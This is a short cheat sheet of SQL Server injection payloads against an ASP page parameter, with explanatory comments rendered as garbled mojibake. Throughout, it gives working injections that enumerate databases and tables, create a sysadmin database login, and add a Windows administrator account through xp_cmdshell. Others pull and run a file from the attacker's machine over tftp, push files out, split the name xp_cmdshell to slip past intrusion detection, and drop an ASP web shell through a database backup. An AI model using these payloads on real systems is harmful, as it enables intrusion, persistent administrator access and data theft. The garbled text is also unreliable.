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[获¨ú¥þ³¡数Õu库¦W]
select name from master.dbo.sysdatabases where dbid=7 //dbidªºÈ为7¥H¤W³£¬O¥Î户数Õu库
[获±o数Õuªí¦W][将¦r¬qȧó·s为ªí¦W¡A¦A·Qªk读¥X这个¦r¬qªºÈ´N¥i±o¨ìªí¦W]
select top 1 name from 数Õu库¦W.dbo.sysobjects where xtype='u' and status>0 and name not in('table')
[获±o数Õuªí¦r¬q¦W][将¦r¬qȧó·s为¦r¬q¦W¡A¦A·Qªk读¥X这个¦r¬qªºÈ´N¥i±o¨ì¦r¬q¦W]
select top 1 数Õu库¦W.dbo.col_name(object_id('n¬d询ªº数Õuªí¦W'),¦r¬q¦C¦p:1) [ where 条¥ó]
³q过SQLSERVERª`¤Jº|¬}«Ø数Õu库ºÞ²z员帐号©M¨t统ºÞ²z员帐号[当«e帐号¥²须¬OSYSADMIN组]
news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //²K¥[数Õu库¥Î户¥Î户test,±K码为test
news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //¦pªG·Q§ï±K码¡A则¥Î这¥y¡]将testªº±K码§ï为123456¡^
news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //将test¥[¨ìsysadmin组,这个组ªº¦¨员¥i执¦æ¥ô¦ó¾Þ§@
news.asp?id=2;exec master.dbo.xp_cmdshell 'net user test test /add';-- //²K¥[¨t统¥Î户test,±K码为test
news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators test /add';-- //将¨t统¥Î户test´£¤É为ºÞ²z员
这样¡A§A¦b¥Lªº数Õu库©M¨t统内³£¯d¤U¤FtestºÞ²z员账号¤F
¤U±¬O¦p¦ó从§AªºªA¾¹¤U载¤å¥ófile.exe¦Z运¦æ¥¦[«e´£¬O§A¥²须将§Aªº电脑设为TFTPªA务¾¹¡A将69ºÝ¤f¥´开]
id=2; exec master.dbo.xp_cmdshell 'tftp ¡Vi §AªºIP get file.exe';--
µM¦Z运¦æ这个¤å¥ó¡G
id=2; exec master.dbo.xp_cmdshell 'file.exe';--
¤U载ªA务¾¹ªº¤å¥ófile2.doc¨ì¥»¦aTFTPªA务¾¹[¤å¥ó¥²须¦s¦b]:
id=2; exec master.dbo.xp_cmdshell 'tftp ¡Vi §AªºIP Put file2.doc';--
绕过IDSªº检测[¨Ï¥Î变¶q]
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
·s¥[ªº:
«Ø¤@个ªí¡C¥u¦³¤@个¦r¬q¡A类«¬为image,将asp内®e写¤J¡C导¥X数Õu库为¤å¥ó
backup database dbname to disk='d:\web\db.asp';
报错±o¨ì¨t统¾Þ§@¨t统©M数Õu库¨t统ª©¥»号
id=2 and 1<>(select @@VERSION);
¹ê¥Î¬ÛÃö·j´M: nds lg she pda shell ftp